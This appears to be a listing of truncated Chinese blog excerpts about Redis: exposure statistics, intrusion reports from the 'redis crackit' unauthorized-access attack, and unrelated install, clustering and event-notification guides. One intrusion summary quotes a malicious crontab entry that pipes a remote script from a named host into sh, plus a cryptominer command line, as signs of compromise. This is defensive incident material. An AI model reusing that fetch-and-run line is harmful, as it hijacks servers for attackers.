▲针对全球6379端口的redis服务器做了扫描,结果如上图 如图开放在公网的redis的6379端口的ip总数有63443个.无密码认证的IP有43024个,在总数占比里达到67%.发现遭受到redis crackit事件影响的服务器达到35024,在总数占比中达到55%,在无密码认证的redis数量中占比达到81%左右. 事件描述 很多使用者都是把redis下载到服务器直接运行使用,无ACL,无密码,root运行,且绑定在0.0.0.0:6379,暴露在公网.攻击者在未授 权访问 Redis…
今天发现服务器有异常进程/opt/yam/yam,上网搜了搜,是由于redis未授权引起的入侵,查了些资料,这里做下总结. 1. 现象 有以下其一现象就要注意是否被入侵 crontab -l 可以看到类似"*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh". ps -ef 可以看到进程 "/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4U…
好吧,我也做了回标题党,像我这么细心的同学,怎么可能让服务器被入侵呢? 其实是这样的,昨天我和一个朋友聊天,他说他自己有一台云服务器运行了 Redis 数据库,有一天突然发现数据库里的数据全没了,只剩下一个奇奇怪怪的键值对,其中值看起来像一个 RSA 公钥的字符串,他以为是误操作删库了,幸好自己的服务器里没啥重要的数据,也就没在意. 经过一番攀谈交心了解到,他跑了一个比较古老已经停止维护的开源项目,安装的旧版本的 Redis,而且他对 Linux 的使用不是很熟练.我就知道,他的服务器已经被攻陷…
Redis Crackit漏洞利用和防护 注意:本文只是阐述该漏洞的利用方式和如何预防.根据职业道德和<中华人民共和国计算机信息系统安全保护条例>,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!! 目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊.具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了.可以通过redis直接获取system shell,注意哦,可不是web shell.你的redis…
注意:本文只是阐述该漏洞的利用方式和如何预防.根据职业道德和<中华人民共和国计算机信息系统安全保护条例>,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!! 目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊.具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了.可以通过redis直接获取system shell,注意哦,可不是web shell.你的redis运行在什么用户,就直接能登陆了. 下面我模…
裸奔的后果!一次ssh被篡改的入侵事件 原文:http://blog.51cto.com/phenixikki/1546669 通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视.接下来要说的,这是我人生第一次在Linux环境中被入侵的经历,此前只有在Windows Server上有过多次入侵排查的经验,不适用于Linux环境中,由于自己的经验缺乏以及安全意识的薄弱,…
事件 Redis服务器是一个事件驱动程序,服务器需要处理以下两类事情: 文件事件(file event):Redis服务器通过套接字与客户端(或者其他Redis服务器)进行连接,而文件事件就是服务器对套接字操作的抽象.服务器与客户端(或者其他服务器)的通信会产生相应的文件事件,而服务器则通过监听并处理这些事件来完成一系列网络通信操作 时间事件(time event):Redis服务器中的一些操作(比如serverCron函数)需要在给定的时间点执行,而时间事件就是服务器对这类定时操作的抽象 文件…
Redis介绍以及安装(Linux) redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统.和Memcached类似,但很大程度补偿了memcached的不足,它支持存储的value类型相对更多,包括string.list.set.zset和hash.这些数据类型都支持push/pop.add/remove及取交集并集和差集及更丰富的操作.在此基础上,redis支持各种不同方式的排序.Redis数据都是缓存在计算机内存中,并且会周期性的把更新的数据写入磁盘或者把修改操…
Linux Redis 重启数据丢失解决方案,Linux重启后Redis数据丢失解决方案 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ©Copyright 蕃薯耀 2017年7月22日 http://www.cnblogs.com/fanshuyao/ 一.问题说明 在Linux系统中,Redi…
Redis简介 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串). list(链表).set(集合)和zset(有序集合).这些数据类型都支持push/pop.add/remove及取交集并集和差集及更丰富的操 作,而且这些操作都是原子性的.在此基础上,redis支持各种不同方式的排序.与memcached一样,为了保证效率,数据都是缓存在内存中.区别的 是redis会周期性的把更新的数据写入磁盘或者把修改操作写…
https://blog.csdn.net/zhu_tianwei/article/details/80169900 redis自2.8.0之后版本提供Keyspace Notifications功能,允许客户订阅Pub / Sub频道,以便以某种方式接收影响Redis数据集的事件. 可能收到的事件的例子如下: 所有影响给定键的命令. 所有接收LPUSH操作的密钥. 所有密钥在数据库中过期0. 因为 Redis 目前的订阅与发布功能采取的是发送即忘(fire and forget)策略, 所以如…
需求: 处理订单过期自动取消,比如下单30分钟未支付自动更改订单状态 解决方案1: 可以利用redis天然的key自动过期机制,下单时将订单id写入redis,过期时间30分钟,30分钟后检查订单状态,如果未支付,则进行处理但是key过期了redis有通知吗?答案是肯定的. 开启redis key过期提醒 修改redis相关事件配置.找到redis配置文件redis.conf,查看“notify-keyspace-events”的配置项,如果没有,添加“notify-keyspace-event…
搭建环境:linux是centos7.4(请注意centos7以下版本的防火墙跟centos7以上的不同,使用redis客户端连接redis时会有区别,建议使用centos7以上版本) 一.下载redis客户端 官方下载地址:https://github.com/uglide/RedisDesktopManager/releases 二.连接windows下的redis服务器 1.确保redis服务器是启动状态 2.创建连接 打开如下页面: 3.使用命令窗口 右键点击localhost,选择Co…
解决方案1: 可以利用redis天然的key自动过期机制,下单时将订单id写入redis,过期时间30分钟,30分钟后检查订单状态,如果未支付,则进行处理但是key过期了redis有通知吗?答案是肯定的. 开启redis key过期提醒 修改redis相关事件配置.找到redis配置文件redis.conf,查看“notify-keyspace-events”的配置项,如果没有,添加“notify-keyspace-events Ex”,如果有值,添加Ex,相关参数说明如下: K:keyspac…
上一篇踩着各种坑写了Redis集群环境之linux搭建单机版,这一篇准备就多机版集群进行搭建,主要目的一来是在上一篇的基础上进行精华提粹总结,二来是把单机版与多机版的区别进行记录. 首先软硬件环境: centos6.7 linux redis4.0.9 两个虚拟机进行集群,一个虚拟机三个节点   环境依赖: gcc-c++(redis依赖环境) rvm ruby2.5.1版本(必须要2.2.2以上) zlib(并需要配置Makefile文件) openssl(并需要配置Makefile文件) r…
最近几个月非常忙,所以很少有时间写博客,这几天终于闲了一些,于是就在整理平时的一些笔记.恰好这几天Redis服务器发生了问题,就记录一下. 我司有两款分别是2B和2C的App,类似于阿里旺旺的卖家版和买家版,里面有一个聊天的功能模块.双方可以通过这个功能聊天.内部通讯使用了环信,只是将本地账号和环信账号进行了关联.其他的信息,比如用户基本信息,好友关系,群组关系等存在Redis中,为防止Redis出现问题导致数据丢失(尽管配置了持久化),同时使用消息队列将数据写入SQLServer中进行了冗余.…
安装 redis 到 /usr/目录下 我这里安装的是redis-3.2.9.tar.gz tar zxvf  redis-3.2.9.tar.gz  -C  /usr 然后进行 执行编译命令 make   执行安装  make install 进入redis目录   ll查看所有文件 将 redis.conf文件 移动到usr/local/redis/etc目录下 再进入redis/src 目录 将以下文件移动到 usr/local/redis/bin目录下  方便以后管理 此时进入 usr/…
1.liunux系统 redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统.和Memcached类似,但很大程度补偿了memcached的 不足,它支持存储的value类型相对更多,包括string.list.set.zset和hash.这些数据类型都支持push/pop.add /remove及取交集并集和差集及更丰富的操作.在此基础上,redis支持各种不同方式的排序.Redis数据都是缓存在计算机内存中,并且会周期性 的把更新的数据写入磁盘或者把修改操作写入追加…
windows 下载地址:http://code.google.com/p/servicestack/wiki/RedisWindowsDownload 下载解压到D盘下: 进到该目录下,有下列文件: redis-server.exe:服务程序 redis-check-dump.exe:本地数据库检查    redis-check-aof.exe:更新日志检查    redis-benchmark.exe:性能测试,用以模拟同时由N个客户端发送M个 SETs/GETs 查询 (类似于 Apach…
1.到官网下载redis上传服务器或者使用wget 下载 wget redis下载的路径 2.查看linux是否安装编译环境gcc,没有先安装 yum -y install gcc 3.解压redis tar -zxvf redis-.tar.gz 4.进入解压redis的目录下编译redis cd redis- make 5.安装redis到指定位置 mkdir /srv/redis make install PREFIX=/srv/redis 6.将配置文件复制到redis安装目录下 cp…
Redis 的事件分类 分类 描述 定时器 线程内定时响应,更新缓存时间.关闭非活动的客户端连接等等 pipe 线程间通信,用于其他线程通知主线程退出aeApiPoll() unixsocket 本地进程间通信,当client和redis部署在一台机器上时,使用unixsocket性能会更高 TCP 网络或进程间通信 Redis支持4种I/O模型:evport.epoll.kqueue.select,通过宏定义决定使用某一个 事件处理 描述 接口函数名称 模型实现 select kqueue e…
一.概述 Redis服务器是一个事件驱动程序,服务器需要处理两类事件:1文件事件,2时间事件.文件事件是关于客户端与服务器之间的通信操作.时间事件是关于服务器内部的一些定时操作.本篇还是参照"Redis设计与实现"书,简要了解下Redis事件. 1. 文件事件 文件事件(file event)是服务器对套接字操作的抽象(套接字,是支持TCP/IP的网络通信的基本操作单元,可以看做是不同主机之间的进程进行双向通信的端点),通过套接字与客户端或者其它Redis服务器进行连接,服务端与客户端…
一.使用场景         项目中采用数据库访问量过大或访问过于频繁,将会对数据库带来很大的压力.redis数据库是以非关系数据库的出现,后来redis的迭代版本支持了缓存数据.登录session状态(分布式session共享)等.常被作为内存缓存的形式应用到中大型企业级项目中. 二.安装windows版本redis         我们直接访问github网址:github.com/MSOpenTech/redis/releases,下载最新的windows X64版本的压缩包,如下图所示:…
 *弄了一天,有问题直接问我.qq:137416943   1.redis集群的配置和简单使用   Redis集群配置 0.首先要配置环境: 0.1 安装c++ yum install gcc-c++ 0.2 安装升级ruby到2.2.2以上 *放到末尾 0.3 安装gem( 运行redis-trib集群管理需要)   下载redis-4.0.1.gem(连接右下方): https://rubygems.org/gems/redis/ ——————————————————————————————…
 Redis Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. 我使用的是下面这个版本: 若没有资源的话,我在网盘分享了这个,没有密码,可直接网盘下载.https://pan.baidu.com/s/1pYf6xPE9wv4RufrG5JFRGg  一.接下来打开你的Linux..然后输入下面命令. yum install gcc tcl –y 安装依赖和一些组件 二..解压redis-使用tar命令 Ta…
需求: 处理订单过期自动取消,比如下单30分钟未支付自动更改订单状态 用户绑定隐私号码当订单结束取消绑定等 解决方案1: 可以利用redis自带的key自动过期机制,下单时将订单id写入redis,过期时间30分钟,30分钟后检查订单状态,如果未支付,则进行处理但是key过期了redis有通知吗?答案是肯定的. 开启redis key过期提醒 修改redis相关事件配置.找到redis配置文件redis.conf,只需修改配置文件redis.conf中的:notify-keyspace-even…
1 使用memcached 1.1 安装memcached 安装(Linux) sudo apt install memcached 启动 #方式一: service memcached start # 方式二: /usr/bin/memcached -u memcache -m 1024 -p 11222 -l 0.0.0.0 -d start -d:这个参数是让memcached在后台运行 -m:指定占用多少内存.以M为单位,默认为64M. -p:指定占用的端口.默认端口是11211. -l…
前言 严谨地说, Linux只是一个内核, `GNU Linux`才算完整的操作系统, 但在本文里还是用通俗的叫法, 把`Ubuntu`,`Debian`,`RedHat`,`CentOS`,`ArchLinux`等发行版都统称为`Linux`. 本文里所说的方法不仅对Linux的发行版适用, 部分方法对`Mac OSX`操作系统也是适用的. 异常的帐号和权限 如果黑客曾经获得过命令运行的机会, 对方往往会想要将这个机会持续下去, 业内称之为`持久化(persistence)`. 而创建后门帐号…
mouseover和mouseout引发的BUG原由 当给一个元素添加mouseover或mouseout事件,这个元素还有子元素. 由于子元素的事件冒泡,鼠标移入或移出子元素都会触发事件. 解决的方法:根据event对象判断是否为子元素 JQuery解决方法 JQuery可以用mouseenter代替mouseover,mouseleave代替mouseout. 还可以用hover()方法. JavaScript原生解决方法 原生的方法解决就需要了解一下relatedTarget.fromEl…
以前总结Redis 的一些基本的安装和使用,由于是测试方便,直接用的window 版的reids,并没有讲redis在linux下的安装.今天就补一下Linux环境如何安装redis. 大家可以这这里查看Redis 系列文章:https://www.cnblogs.com/zhangweizhong/category/771056.html. 安装redis 版本说明:我这边使用的是redis3.0版本.3.0版本主要增加了redis集群功能. 安装的前提条件: 需要安装gcc:yum inst…